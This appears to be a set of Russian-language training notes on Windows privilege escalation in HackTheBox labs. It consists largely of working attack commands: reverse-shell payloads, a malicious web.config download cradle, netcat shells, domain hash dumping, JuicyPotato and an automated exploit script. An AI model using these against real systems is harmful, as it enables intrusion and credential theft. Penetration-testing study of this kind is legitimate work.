https://habr.com/ru/company/ruvds/blog/343612/ msfvenom -p(payload )windows/x64/shell_reverse_tcp LHOST=10.10.14.8. LPORT=1337 -f dll -o print.dll ![](https://i.imgur.com/TmclCDJ.png) ![](https://i.imgur.com/LoiA7nA.png) msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.22 LPORT=1337 -f dll -o print.dll rlwrap nc -lvp 1337 - cлушаем порт git clone https://github.com/cube0x0/CVE-2021-1675.git ![](https://i.imgur.com/kdTQTkU.png) ![](https://i.imgur.com/hhpLnZ7.png) Передаем инструменты через smb impacket-smbserver SHARE . запустили шару где лежит dll ![](https://i.imgur.com/GjciJ2G.png) nmap 10.10.10.175 -Pn (нмап для винды ) python3 ./CVE-2021-1675.py hackit.local/fsmith:Thestrokes23@10.10.10.175 '\\10.10.14.22\share\print.dll' nano /etc/samba/smb.conf ``` [share] comment = payload delivery path = /tmp read only = no guest ok = yes ``` service smbd restart service smbd status ![](https://i.imgur.com/CMgkvue.jpg) ![](https://i.imgur.com/z0GU21U.png) https://odeenhacimocom-my.sharepoint.com/personal/dubonmax_odeenhacimo_com/_layouts/15/Doc.aspx?sourcedoc={2dc36741-df1e-4856-810f-06e90b2ad0b1}&action=view&wd=target%28CYB-1%20Module%202%20AD.one%7C3db745d2-4dcd-4aaa-828f-19efe58c56f3%2Fwmic%7C0272bb49-55de-4de7-a7bd-9b4a0bd6c094%2F%29 ПОсмотреть самостоятельно эту машину - impacket и smb **BOUNTY** подключаемся к след машине Наша задача чтобы подключится к машине - получить реверс шелл с сайта на 80 порту создаем веб конфиг со скриптом ниже ``` <?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <handlers accessPolicy="Read, Script, Write"> <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> </handlers> <security> <requestFiltering> <fileExtensions> <remove fileExtension=".config" /> </fileExtensions> <hiddenSegments> <remove segment="web.config" /> </hiddenSegments> </requestFiltering> </security> </system.webServer> </configuration> <%@ Language=VBScript %> <% call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.16:8080/Bkq3Dulrpun')") %> ``` msfconsole use exploit/multi/script/web_delivery set payload windows/x64/meterpreter/reverse_tcp set target 2 set lhost tun0 set srvhost 10.10.14.4 ![](https://i.imgur.com/XEthJhJ.png) ![](https://i.imgur.com/zpr7cGJ.png) curl http://10.10.10.93/UploadedFiles/web.config ![](https://i.imgur.com/OSFzVBY.png) ! копируем systeminfo в файл на локальной машине pip install wesng **wes** (на основе загруженной информации о систем инфо - выдаст полезные нагрузки) wes --update wes systeminfo.txt > result.txt ![](https://i.imgur.com/tLAQEOt.png) ![](https://i.imgur.com/GsUhtUR.png) ![](https://i.imgur.com/6A83BNL.png) можно отфильтровать grep wes ./systeminfo.txt|grep "Exploits: http" ![](https://i.imgur.com/tbu32AR.png) !!!Проще всего гуглить эксплойты - берем cve и гуглим на гитхабе site:github.com "CVE-2010-3338" https://github.com/ycdxsb/WindowsPrivilegeEscalation ![](https://i.imgur.com/wspRLlc.png) use post/multi/recon/local_exploit_suggester Ищем локальные методы повышения через уязвимости ![](https://i.imgur.com/BCnHlK7.png) search CVE-2010-3338 use exploit/windows/local/ms10_092_schelevator ![](https://i.imgur.com/D5jJQKG.png) set lport 4321 ![](https://i.imgur.com/4H8OFOb.png) ![](https://i.imgur.com/ZAamYWZ.png) ![](https://i.imgur.com/ZvqdQSR.png) run suggester Главное при поиске эксплойтов не искать DOS (отказ в обслуживании) **Машина OPTIMUM** 1. Для начала сканируем nmap на открытые порты 2. Получаем сессию с помощью rejetto 3. запускаем сессию **sessions -i (id)** ![](https://i.imgur.com/rwAAJ6F.png) ``` msfconsole use rejetto... use rhost 10.10.10.8 use srvhost tun0 run ``` ![](https://i.imgur.com/HCra3M1.png) 4. systeminfo -сохраняем данные в файл и после отправляем анализировать в wes wes ./systeminfo.txt > ./result.txt cat result.txt | grep -i ms (-i - игнорирование регистров) ![](https://i.imgur.com/IBxs3Sl.png) 5. полученный результат grep на наличии уязвимостей в системе ![](https://i.imgur.com/kd7buGu.png) ![](https://i.imgur.com/MOw2Thj.png) 6. находим эксплойт ms16-098 / 41020 7. загружаем эксплойт с сайта на наш хост https://www.exploit-db.com/exploits/41020 **Запускаем сервер** python3 -m http.server 8. Загружаем эксплойт 41020 ms16-098 на атакуемую машину, повышаем привилегии. Запускаем повершелл и копируем файл powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.17/htb/optimum/41020.exe','C:\Users\kostas\Desktop\41020.exe')" 9. Запускаем эксплойт, получем права системы ![](https://i.imgur.com/gAjOe6x.png) 10. Получаем флаг 51ed1b36553c8461f4552c2e92b3eeed ![](https://i.imgur.com/JUl7NIV.png) ![](https://i.imgur.com/NxEOzKC.png) use exploit/windows/http/rejetto_hfs_exec![](https://i.imgur.com/PHJw7Uy.png) set rhosts 10.10.10.8 ![](https://i.imgur.com/aCBXjTw.png) ![](https://i.imgur.com/AULnjsA.jpg) ![](https://i.imgur.com/OqpkU4Y.png) suggester ![](https://i.imgur.com/qsBPiK1.png) ![](https://i.imgur.com/qKfSCuO.png use exploit set session set lhost ![](https://i.imgur.com/ag1UqC6.png) ![](https://i.imgur.com/ditIEuT.png) bypassuac ![](https://i.imgur.com/OM8IzxH.png) Экслойты - нестабильны/ могут нанести вред или положить систему **Метасплойт для пентестера** https://alphazine.ru/showthread.php?p=3775 # **Занятие 8** MISSCONFIG Техники эскалации привилегий на основе некорректных настроек **Blackfield машина** evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d ![](https://i.imgur.com/oLJ4Stg.png) Есть разрешения на бэкапы и рэсторы. В бэкапах хранится хеши паролей: потом при помощи psexec !!мы не можем сделать бэкап на тот же диск Бэкап по сетевому пути на эту же машину Бэкапим NTDS.dit(cодержит хэши всех пользователей домена) *Evil-WinRM* PS C:\Users\svc_backup\Documents> wbadmin start backup -quiet -include:C:\Windows\NTDS\NTDS.dit -backuptarget:\\dc01\c$\users\svc_backup\ получаем через бекап wbadmin get versions - узнать версию бэкапа C:\Users\svc_backup\Documents> wbadmin start recovery -quiet -version:04/05/2022-23:35 -itemtype:file -items:C:\Windows\NTDS\NTDS.dit -recoverytarget:C:\users\svc_backup\Documents -notrestoreacl(не восстанавливаем права на файл) ![](https://i.imgur.com/jZPCZpQ.png) ![](https://i.imgur.com/iQ81HR7.png) reg save HKLM\SYSTEM C:\Users\svc_backup\Documents\SYSTEM вытаскиваем системинфо download SYSTEM - качаем download ntds.dit ![](https://i.imgur.com/0AWiAzq.png) копируем НТДС и будем извлекать через secretsdump **ShadowCopy** - теневые копии https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf Чтобы извлечь инфу после скачивания нам нужен **Impacket-systemdump** impacket-secretsdump -ntds ./ntds.dit -system ./SYSTEM LOCAL ![](https://i.imgur.com/rGV1mzj.png) ![](Uploading file..._lzz1yzoui) ![](https://i.imgur.com/iPziase.png) Вошли под админом ![](https://i.imgur.com/vD2o8g3.jpg) ![](https://i.imgur.com/uTQZory.png) ![](https://i.imgur.com/p7ScgIz.jpg) Добыли флаг 4375a629c7c67c8e29db269060c955cb **QUERIER** Подключаемся по протоколу mssql crackmapexec - скармливаешь айпи, логин, пароль, команду на выполнение Удаленное выполнение команд crackmapexec mssql 10.10.10.125 -d QUERIER -u mssql-svc -p 'corporate568' -x whoami Поднимаем сервер ![](https://i.imgur.com/onnoCTX.png) ![](https://i.imgur.com/NlPbCaE.png) ![](https://i.imgur.com/hAWK6zh.png) ![](https://i.imgur.com/ocY8CVE.png) **Cохраняем слэшами \ Исполняем слэшами /** ![](https://i.imgur.com/g3w6rVu.png) флаг юзера ![](https://i.imgur.com/p0gS9iV.png) Поднимаем Листенер rlwrap nc -lvp 1337 (команда листенер) ![](https://i.imgur.com/JvIfZOu.png) crackmapexec mssql 10.10.10.125 -d QUERIER -u mssql-svc -p 'corporate568' -x 'powershell.exe IWR "http://10.10.14.17/nc.exe" -OutFile "C:\Users\mssql-svc\Documents\nc.exe"; C:/Users/mssql-svc/Documents/nc.exe 10.10.14.17 1337 -e cmd.exe"' скачали неткат на атакуемую машину ![](https://i.imgur.com/akAy625.png) Загружаем Win Peas и запускаем powershell wget http://10.10.14.22/winPEASx64.exe -o w.exe ![](https://i.imgur.com/Z32R33U.png) ![](https://i.imgur.com/PRsFd9x.jpg) Модуль Watson - показывает потенциальные угрозы на машине ![](https://i.imgur.com/48pRlxu.png) **Подмена сервиса** Сервис арекстрации обновлений **Повышение привилегий через сервис оркестрации обновлений** https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services sc.exe qc UsoSvc - запрашиваем состояние сервиса sc.exe stop UsoSvc - останавливаем сервис sc.exe start UsoSvc - Доступ к сервису есть, можем **поменять параметры запуска** ![](https://i.imgur.com/bFgnq9y.png) sc.exe config UsoSvc binpath="C:\Users\mssql-svc\Documents\nc.exe 10.10.14.22 1338 -e cmd.exe" Добрались до файла root.txt ![](https://i.imgur.com/qzPvgun.jpg) **Машина devel** ``` #!/bin/bash #Это эксплоит для быстрого получения реверс шелла на тачке HTB:Devel #Для того чтоб его использовать укажи свой адрес и желаемый порт #Например вот так: /bin/bash ./exploit.sh 10.10.14.17 1234 #в этой же консоли будет автоматически получен реверс шелл. msfvenom -p windows/shell_reverse_tcp LHOST=$1 LPORT=$2 -f aspx > shell.aspx #генерится полезная нагрузка shell.aspx curl -T shell.aspx ftp://10.10.10.5 #затем полезная нагрузка запихивается на ftp sleep 3 #ждем пока запишется полезная нагрузка rm ./shell.aspx #удаляем shell.aspx с локального хоста curl 10.10.10.5/shell.aspx #shell вызывается курлом rlwrap nc -lvp $2 #поднимается листенер, на указанном порту ``` ![](https://i.imgur.com/58vn4P8.png) ./devel_esp.sh 10.10.14.17 1234 ![](https://i.imgur.com/aU85qv7.png) получен reverce shell ![](https://i.imgur.com/KSUTD50.png) Potatoes - Windows Privilege Escalation https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html **свежие тачки с rotten potato** **cтарые тачки с juicy potato** https://github.com/ohpe/juicy-potato wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe **cd C:\Windows\System32\spool\drivers\color** Переходим в эту папку, так как она чаще всего **доступна для записи** -Скачиваем Juicy Potato на атакуемую тачку certutil -urlcache -split -f http://10.10.14.22/JuicyPotato.exe JuicyPotato.exe ![](https://i.imgur.com/iQgM0zD.png) -Генерим exe с reverce shell msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.17 LPORT=1337 -f exe > shell.exe certutil -urlcache -split -f http://10.10.14.17/shell.exe shell.exe Чтобы задействовать JuicyPotato глобальный айдишник класса ко/ идентификатор http://ohpe.it/juicy-potato/CLSID/ ![](https://i.imgur.com/FaQtL66.png) BITS используем в JuicyPotato ![](https://i.imgur.com/dsr2glt.png) ![](https://i.imgur.com/xYJ1UlY.png) ![](https://i.imgur.com/Y4bxWIC.png) **Скачиваем версию под х32(х86)** https://github.com/ivanitlearning/Juicy-Potato-x86/releases wget https://github.com/ivanitlearning/Juicy-Potato-x86/releases/download/1.2/Juicy.Potato.x86.exe certutil -urlcache -split -f http://10.10.14.17/root/utils/Juicy.Potato.x86.exe ![](https://i.imgur.com/kmfCayB.png) копируем bits Вешаем нагрузку msfvenom -p windows/shell_reverce_tcp LHOST=10.10.14.17 LPORT=1337 -f exe > shell.exe Error: invalid payload: windows/shell_reverce_tcp Запускаем листенер rlwrap nc -lvp 1337 .\JuicyPotato.exe -l 1339 -p C:\Windows\System32\spool\drivers\color\shell.exe -t * -c {03ca98d6-ff5d-49b8-abc6-03dd84127020} ![](https://i.imgur.com/cZynrs9.jpg) ![](https://i.imgur.com/7ULP3Jj.jpg) ![](https://i.imgur.com/0Q0syPV.png) e621a0b5041708797c4fc4728bc72b4b !! Наибольший профит. Быстро, Безболезненно. В первую очередь смотреть на привилегии, и если есть права на **Имперсификацию** **Love тачка** cp $(locate 49445.py) ./ ![](https://i.imgur.com/yPmifDQ.png) ![](https://i.imgur.com/8KxYaF2.png) ``` # --- Edit your settings here ---- IP = "10.10.10.239" # Website's URL USERNAME = "admin" #Auth username PASSWORD = "@LoveIsInTheAir!!!!" # Auth Password REV_IP = "10.10.14.17" # Reverse shell IP REV_PORT = "8888" # Reverse port # -------------------------------- INDEX_PAGE = f"http://{IP}/admin/index.php" LOGIN_URL = f"http://{IP}/admin/login.php" VOTE_URL = f"http://{IP}/admin/voters_add.php" CALL_SHELL = f"http://{IP}/images/shell.php" ``` старые данные удаляем Запускаем rlwrap nc -lvp 8888 python3 ./49445.py powershell wget http://10.10.14.17/winPEASx64.exe -o w.exe ![](https://i.imgur.com/pDeq7Q6.png) ![](https://i.imgur.com/sBGVjqh.png) ![](https://i.imgur.com/6Cb8rvq.png) **AlwaysInstallElevated** самое вкусное - суть что эти ключи реестра(пользователи с любой привилегией могут устанавливать файлы msi) ![](https://i.imgur.com/xIfzoWb.png) ![](https://i.imgur.com/EOBESO8.png) ![](https://i.imgur.com/uKku6Rk.png) ![](https://i.imgur.com/29oTPF1.png) msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.22 LPORT=1337 -f msi > shell.msi ![](https://i.imgur.com/y6qeaUl.png) msiexec /i shell.msi ![](https://i.imgur.com/c2C4LUV.jpg) d55a2682a3cb7b2a16fa702332873be ![](https://i.imgur.com/362Kcij.jpg) этот метод чаще всего встречается на тачках, которые к домену не подключены/ терминальный сервис